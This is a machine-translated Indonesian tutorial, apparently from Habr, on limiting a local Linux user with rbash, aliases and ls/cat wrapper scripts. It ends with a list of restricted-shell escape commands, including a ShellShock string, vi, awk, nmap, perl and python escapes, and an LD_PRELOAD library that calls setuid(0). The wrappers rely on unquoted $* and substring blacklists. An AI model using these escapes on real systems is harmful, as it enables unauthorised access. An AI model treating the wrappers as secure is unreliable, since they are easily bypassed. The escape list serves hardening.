Membatasi hak pengguna lokal di Linux seminimal mungkin

Kucing Suatu hari, tugas berikut muncul: untuk membuat pengguna lokal di Linux, dengan akses terbatas ke folder dan file, termasuk tidak hanya mengedit, tetapi juga melihat, serta kemampuan untuk menggunakan hanya utilitas yang diizinkan. Hanya akses lokal yang disediakan, tidak ada akses jaringan.

Agar tidak menemukan kembali roda, hal pertama yang saya lakukan adalah mulai menggali Internet, sebagai akibatnya ditemukan opsi-opsi berikut:

  • pembatasan akses melalui layanan jaringan ssh, sftp (tidak cocok)
  • diferensiasi hak akses oleh sistem operasi linux itu sendiri (tidak cocok, saya ingin solusi universal)
  • menggunakan chroot (tidak cocok)
  • penggunaan utilitas pihak ketiga, misalnya SELinux (tidak cocok, mempersulit sistem).

Sebagai hasil dari pencarian, mekanisme bawaan untuk membatasi kemampuan pengguna dalam bash shell ditemukan, itu disebut Restricted Shell atau rbash .

Ini menerapkan pembatasan berikut:

  • tidak ada opsi untuk mengubah direktori dengan perintah cd
  • Anda tidak dapat mengatur ulang atau mengubah nilai variabel SHELL, PATH, ENV, BASH_ENV
  • dilarang untuk menentukan perintah yang mengandung / (slash)
  • dilarang mengimpor fungsi dari shell utama
  • dilarang untuk mengarahkan ulang output menggunakan operator>, <, |, <>,> &, &>, >>
  • dilarang menggunakan perintah exec untuk mengganti perintah, dll.

Ada minus, ini adalah keamanan, jadi sangat penting untuk menambahkan alias ke perintah dalam file perilaku shell .bashrc (informasi akan lebih lanjut).

Tentu saja, rbash di luar kotak, itu tidak menyelesaikan semua masalah, oleh karena itu, sebagai contoh, kami mempertimbangkan untuk membuat pengguna dan mengatur lingkungannya untuk solusi lengkap untuk masalah kami.

Selanjutnya, semua operasi dilakukan dari superuser (root).

1. Buat shell terbatas

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. Buat pengguna

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. Ubah izin direktori

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. Pergi ke direktori dan bersihkan

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. Kustomisasi shell dan hak

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

File .bashrc mendefinisikan perilaku shell; alias untuk perintah atau opsi tambahan dapat ditambahkan ke file ini.

Untuk memastikan keamanan, jalankan perintah berikut:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

Daftarnya berlanjut ...

6. Periksa pekerjaan

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. Tambahkan perintah yang valid

 ln -s /bin/ping /home/zuser/bin/ping 

Yang penting, path dalam perintah ln harus ditentukan sepenuhnya.

8. Anda dapat menggunakan pembungkus untuk membatasi opsi perintah.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. Anda juga dapat membuat pembungkus untuk bekerja dengan file dan folder.
dengan daftar hitam (kecuali semuanya):
- buat file

 nano /var/scripts/ls 

- isi file

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

blacklist - variabel yang berisi daftar hitam direktori atau file (dipisahkan oleh spasi)
- tambahkan perintah untuk pengguna zuser

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

Script ini memungkinkan Anda untuk mengeksekusi perintah ls dengan tombol apa saja untuk direktori dan file yang tidak cocok dengan daftar hitam

dengan daftar putih (melarang semuanya kecuali):
- buat file

 nano /var/scripts/cat 

- isi file

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

daftar putih - variabel yang berisi daftar putih direktori atau file (dipisahkan spasi)
- tambahkan perintah untuk pengguna zuser

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

Script ini memungkinkan Anda untuk mengeksekusi perintah cat dengan file yang ditentukan dalam daftar putih.

Selesai , kami akhirnya mendapatkan hasil sebagai berikut:

  • kami membuat pengguna zuser dengan rbash shell
  • menonaktifkan kemampuan untuk menggunakan pelengkapan otomatis di konsol
  • zuser hanya dapat menjalankan utilitas dari direktori / home / zuser / bin
  • menambahkan perintah ping ke zuser
  • menambahkan perintah info-pengguna ke pengguna zuser
  • zuser dibatasi melalui pembungkus untuk menjalankan perintah ls dan cat


Sayangnya metode ini tidak menjamin keamanan 100%, dan dengan pengetahuan dan kualifikasi tertentu, pengguna dapat meninggalkan shell ini. Terima kasih kepada Jouretz arheops YaDr di komentar mereka memberikan contoh menghindari pembatasan shell.

Kerentanan berikut ada dalam solusi ini (Shell Escape), yang harus diperhitungkan:
PATHKemampuan untuk mengubah variabel PATH
Salin file dengan scpKemampuan untuk mengunggah skrip Anda
Saat menghubungkan melalui ssh, Anda dapat mengganti shell
 ssh zuser@xxxx -t "/bin/bash" 
Saat menghubungkan melalui ssh, Anda dapat mengubah file konfigurasi shell
 ssh zuser@xxxx -t "bash --noprofile" 
Saat menghubungkan melalui ssh, Anda dapat menggunakan ShellShock
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
Melalui utilitas vi, vim
 :!bash 
Melalui utilitas vi, vim
 :set shell=/bin/bash :shell 
Melalui manusia utilitas, lebih banyak, lebih sedikit
 !bash 
Melalui utilitas find
 find . -maxdepth 0 -execdir /bin/bash \; 
Melalui utilitas awk
 awk 'BEGIN {system("/bin/bash")}' 
Melalui utilitas nmap
 nmap --interactive 
Melalui utilitas nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
Melalui perl
 perl -e 'exec "/bin/bash";' 
Melalui python
 python -c 'import pty; pty.spawn("/bin/bash")' 
Melalui ruby
 ruby: exec "/bin/bash" 
Melalui LD_PRELOADBuat file evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

Kami mengkompilasi:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

Kami mentransfer file evil.so yang dihasilkan ke mesin dengan konsol tertutup dan berjalan:
 LD_PRELOAD=$PWD/evil.so ls 

Sebagai argumen, perintah apa pun yang tersedia

Karena adanya sejumlah besar kerentanan, metode ini hanya dapat digunakan untuk pengguna lokal pada sistem yang tidak kritis, untuk akses melalui jaringan melalui ssh, lebih baik menggunakan chroot atau utilitas lain untuk membatasi kemampuan pengguna.

Semoga informasi ini bermanfaat.

Source: https://habr.com/ru/post/id437710/


All Articles